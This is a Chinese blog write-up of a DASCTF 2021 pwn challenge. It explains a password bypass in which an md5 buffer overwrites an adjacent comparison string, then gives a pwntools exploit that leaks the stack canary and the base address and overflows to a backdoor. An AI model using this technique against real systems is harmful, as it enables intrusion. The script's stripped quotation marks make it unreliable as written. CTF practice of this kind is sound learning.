dasctf2021-pwn

canary3

最后临死挣扎做了个题目,不亏。

dasctf2021-pwn

 

 关键就在这个验证,一开始看到有个md5加密,以为是把输入的密码md5后来比较。但是查md5发现那串东西什么也查不出来,然后觉得爆破也是不可能的,给的信息有点少。

然后在尝试输入32个字符后,发现比较时s2字符串的内容变了。才注意到s和s2是相邻的,那么在md5时就会改变s2中的内容。

在尝试不同的字符串后发现s2的变化是固定的,并且第一个字节变成了‘\0x00‘。

最后试出输入32个c时可以绕过检验。

dasctf2021-pwn

 

 剩下的就是泄露canary和程序基址了,最后再跳转到后门函数。

 

from pwn import *
context.log_level=debug
elf=ELF(canary3)


#p=process(‘./canary3‘)
p=remote(node4.buuoj.cn,27154)
p.recvuntil(username: )
p.send(admin)

p.recvuntil(password: )
#gdb.attach(p)
py=c*32
p.send(py)

p.sendlineafter(exit\n,2)
p.recvuntil(input:\n)
p.send(a*25)

#gdb.attach(p)
p.sendlineafter(exit\n,1)
p.recvuntil(a*25)
can=u64(p.recv(7).rjust(8,\0))
print hex(can)

libc=u64(p.recv(6).ljust(8,\0))-0x2530
print hex(libc)
p.sendlineafter(exit\n,2)
p.recvuntil(input:\n)
py=a*24+p64(can)+p64(0)+p64(libc+0x239f)
p.send(py)

p.sendlineafter(exit\n,3)

p.interactive()

 

dasctf2021-pwn

上一篇:Qt操作ini文件


下一篇:ansible + jinja2